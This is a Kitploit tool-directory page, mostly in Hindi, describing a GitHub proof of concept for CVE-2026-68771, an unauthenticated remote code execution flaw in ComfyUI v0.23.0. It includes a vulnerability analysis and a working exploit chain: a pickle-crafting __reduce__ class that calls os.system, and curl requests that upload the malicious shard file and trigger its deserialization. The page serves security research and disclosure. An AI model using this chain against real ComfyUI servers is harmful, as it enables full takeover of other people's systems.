Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
comfyui-CVE-2026-68771-PoC — सुरक्षा अनुसंधान प्रयोगशाला — ComfyUI v0.23.0 में असुरक्षित डीसेरिएलाइज़ेशन के माध्यम से अनऑथेंटिकेटेड RCE (CVSS 9.8)। पृथक Docker वातावरण, तकनीकी विश्लेषण और दस्तावेज़ीकरण। | Kitploit
उपकरण/GitHubGitHub/oscar-collado/comfyui-cve-2026-68771-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाAI सुरक्षा
GitHuboscar-collado/comfyui-cve-2026-68771-poc

comfyui-CVE-2026-68771-PoC

सुरक्षा अनुसंधान प्रयोगशाला — ComfyUI v0.23.0 में असुरक्षित डीसेरिएलाइज़ेशन के माध्यम से अनऑथेंटिकेटेड RCE (CVSS 9.8)। पृथक Docker वातावरण, तकनीकी विश्लेषण और दस्तावेज़ीकरण।

रिपॉजिटरी देखें
1220 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-68771 — ComfyUI: असुरक्षित डीसेरिएलाइज़ेशन के माध्यम से अनऑथेंटिकेटेड RCE

केवल शैक्षिक उद्देश्यों के लिए। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित प्राधिकरण है।


ComfyUI के बारे में

ComfyUI AI इमेज और वीडियो जनरेशन मॉडलों को स्थानीय रूप से चलाने के लिए एक ओपन-सोर्स नोड-आधारित ग्राफिकल इंटरफ़ेस है। यह उपयोगकर्ताओं को नोड्स को दृश्य रूप से जोड़कर जटिल जनरेशन पाइपलाइन बनाने की अनुमति देता है — प्रत्येक नोड एक ऑपरेशन का प्रतिनिधित्व करता है जैसे कि मॉडल लोड करना, टेक्स्ट प्रॉम्प्ट एन्कोड करना, सैंपलिंग, या इमेज का पोस्ट-प्रोसेसिंग। इसकी लचीलापन और मॉडलों की एक विस्तृत श्रृंखला (Stable Diffusion, Flux, HunyuanVideo, और अन्य) के लिए समर्थन ने इसे AI जनरेशन समुदाय में सबसे व्यापक रूप से अपनाए गए टूल्स में से एक बना दिया है।

एप्लिकेशन पोर्ट 8188 पर एक स्थानीय HTTP API को उजागर करता है, जिसके माध्यम से फ्रंटएंड बैकएंड के साथ संचार करता है ताकि एसेट्स अपलोड किए जा सकें और जनरेशन वर्कफ़्लो को कतारबद्ध किया जा सके। हालांकि यह सिंगल-यूज़र स्थानीय उपयोग के लिए डिज़ाइन किया गया है, आंतरिक नेटवर्कों पर या सीधे इंटरनेट पर ComfyUI इंस्टेंस पाए जाना आम है — क्लाउड GPU वातावरणों, साझा शोध सेटअपों, या स्व-होस्टेड क्रिएटिव स्टूडियो में — अक्सर बिना किसी अतिरिक्त प्रमाणीकरण परत के, जो ठीक उसी खतरे के मॉडल से मेल खाता है जिसे यह भेद्यता लक्षित करती है।

प्रकटीकरण के समय, ComfyUI के GitHub पर 65,000 से अधिक स्टार थे और कस्टम नोड्स और एक्सटेंशनों का एक सक्रिय पारिस्थितिकी तंत्र था, जिनमें से कई कोर एप्लिकेशन से परे अतिरिक्त हमला सतह पेश करते हैं।


कार्यकारी सारांश

CVE-2026-68771 ComfyUI v0.23.0 में एक असुरक्षित डीसेरिएलाइज़ेशन भेद्यता (CWE-502) है जो एक अनऑथेंटिकेटेड रिमोट हमलावर को सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देती है। हमला श्रृंखला दो अनऑथेंटिकेटेड एंडपॉइंट्स को जोड़ती है: एक दुर्भावनापूर्ण pickle फ़ाइल अपलोड करने के लिए POST /upload/image, और LoadTrainingDataset नोड के माध्यम से इसके डीसेरिएलाइज़ेशन को ट्रिगर करने के लिए POST /prompt।

फ़ील्डमान
CVECVE-2026-68771
CVSS 3.19.8 (क्रिटिकल)
वेक्टरAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502 (अविश्वसनीय डेटा का डीसेरिएलाइज़ेशन)
भेद्य संस्करणComfyUI v0.23.0 (और पहले के संस्करण बिना फिक्स के)
फिक्स्ड संस्करणCommit 94ee49b1612824366a8631ea069b2a1fa5c73720
प्रकाशित31 जुलाई, 2026

लैब वातावरण

  • प्लेटफ़ॉर्म: Docker (Kali Linux होस्ट)
  • बेस इमेज: python:3.11-slim
  • ComfyUI संस्करण: v0.23.0 (सटीक git checkout)
  • PyTorch: 2.5.1+cpu (weights_only डिफ़ॉल्ट परिवर्तन से पहले का संस्करण)
  • नेटवर्क आइसोलेशन: पोर्ट केवल 127.0.0.1:8188 पर प्रकाशित, कोई बाहरी नेटवर्क एक्सेस नहीं
  • प्रोसेस विशेषाधिकार: uid=0 (root)

तकनीकी विश्लेषण

1. API एंडपॉइंट्स पर अनुपस्थित प्रमाणीकरण

POST /upload/image — server.py, पंक्तियाँ 450-453:

@routes.post("/upload/image")
async def upload_image(request):
    post = await request.post()
    return image_upload(post)  # no session or token verification

POST /prompt — server.py, पंक्तियाँ 927-928:

@routes.post("/prompt")
async def post_prompt(request):
    logging.info("got prompt")
    json_data = await request.json()
    # no session or token verification
    ...
    self.prompt_queue.put((number, prompt_id, prompt, ...))

दोनों में से कोई भी एंडपॉइंट किसी भी प्रकार का एक्सेस कंट्रोल लागू नहीं करता। कोई भी HTTP क्लाइंट बिना प्रमाणीकरण के फ़ाइलें अपलोड कर सकता है और वर्कफ़्लो को कतारबद्ध कर सकता है।


2. भेद्य कॉल — LoadTrainingDataset.execute()

comfy_extras/nodes_dataset.py, पंक्ति 1568:

@classmethod
def execute(cls, folder_name):
    dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)

    shard_files = sorted([
        f for f in os.listdir(dataset_dir)
        if f.startswith("shard_") and f.endswith(".pkl")
    ])

    for shard_file in shard_files:
        shard_path = os.path.join(dataset_dir, shard_file)
        with open(shard_path, "rb") as f:
            shard_data = torch.load(f)  # ← VULNERABLE: weights_only not specified

weights_only=True के बिना torch.load() फ़ाइल को डीसेरिएलाइज़ करने के लिए Python के pickle प्रोटोकॉल का उपयोग करता है। Pickle एक डेटा प्रारूप नहीं है — यह एक Python ऑब्जेक्ट सीरिएलाइज़ेशन प्रोटोकॉल है जो डीसेरिएलाइज़ेशन के दौरान किसी भी ऑब्जेक्ट की __reduce__ विधि को निष्पादित करता है, जिससे मनमाना कोड निष्पादन सक्षम होता है।

यह नोड PyTorch के ऐतिहासिक डिफ़ॉल्ट (weights_only=False) पर निर्भर था, जिससे यह पूरे कोडबेस में एकमात्र torch.load कॉल बन गया जिसमें स्पष्ट पैरामीटर नहीं था। शेष कोडबेस (comfy/utils.py, comfy/sd1_clip.py) इसे पहले से ही सही ढंग से पास कर रहा था।


3. पूर्ण हमला प्रवाह

Attacker (unauthenticated)

[0] CRAFT MALICIOUS PICKLE
    └─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
    └─ PyTorch's torch.save() format wraps it in a valid .pkl container
    └─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
        │
        ▼
[1] POST /upload/image
    └─ Upload shard_0000.pkl (pickle with malicious __reduce__)
    └─ Parameters: type=output, subfolder=cve_test
    └─ Response: 200 OK {"name":"shard_0000.pkl", ...}
    └─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
        │
        ▼
[2] POST /prompt
    └─ JSON workflow with LoadTrainingDataset node
    └─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
    └─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
        │
        ▼
[3] LoadTrainingDataset.execute()
    └─ Locates shard_0000.pkl in the directory
    └─ torch.load(f) → deserializes the pickle
    └─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
        │
        ▼
[4] RCE as root
    └─ uid=0(root) gid=0(root) groups=0(root)

प्रूफ ऑफ कॉन्सेप्ट साक्ष्य (लैब)

दुर्भावनापूर्ण Pickle तैयार करना

पेलोड Python के pickle reduce प्रोटोकॉल का शोषण करता है। जब torch.load() फ़ाइल को डीसेरिएलाइज़ करता है, तो Python reduce द्वारा लौटाए गए कॉलबल को कॉल करके ऑब्जेक्ट को इंस्टैंशिएट करता है, जिससे किसी भी एप्लिकेशन लॉजिक के चलने से पहले हमलावर-नियंत्रित कमांड निष्पादित हो जाता है।

फ़ाइल नाम को shard_*.pkl पैटर्न से मेल खाना चाहिए — जो LoadTrainingDataset.execute() में फ़ाइल डिस्कवरी फ़िल्टर के रूप में हार्डकोडेड है:

shard_files = sorted([
    f for f in os.listdir(dataset_dir)
    if f.startswith("shard_") and f.endswith(".pkl")
])

pickle_craft.py:

class Exploit:
    def __reduce__(self):
        return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"

आउटपुट:

[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image

वेक्टर 1 — अनऑथेंटिकेटेड फ़ाइल अपलोड

curl -s -X POST http://127.0.0.1:8188/upload/image \
  -F "image=@shard_0000.pkl;type=application/octet-stream" \
  -F "type=output" \
  -F "subfolder=cve_test"

प्रतिक्रिया:

{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}

HTTP 200 बिना किसी टोकन, सेशन, या विशेष हेडर के।


वेक्टर 2 — अनऑथेंटिकेटेड वर्कफ़्लो निष्पादन

curl -s -X POST http://127.0.0.1:8188/prompt \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": {
      "1": {
        "class_type": "LoadTrainingDataset",
        "inputs": { "folder_name": "cve_test" }
      },
      "2": {
        "class_type": "SaveTrainingDataset",
        "inputs": {
          "latents": ["1", 0],
          "conditioning": ["1", 1],
          "folder_name": "cve_test_out",
          "shard_size": 1000
        }
      }
    }
  }'

प्रतिक्रिया:

{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}

टूल डाउनलोड करें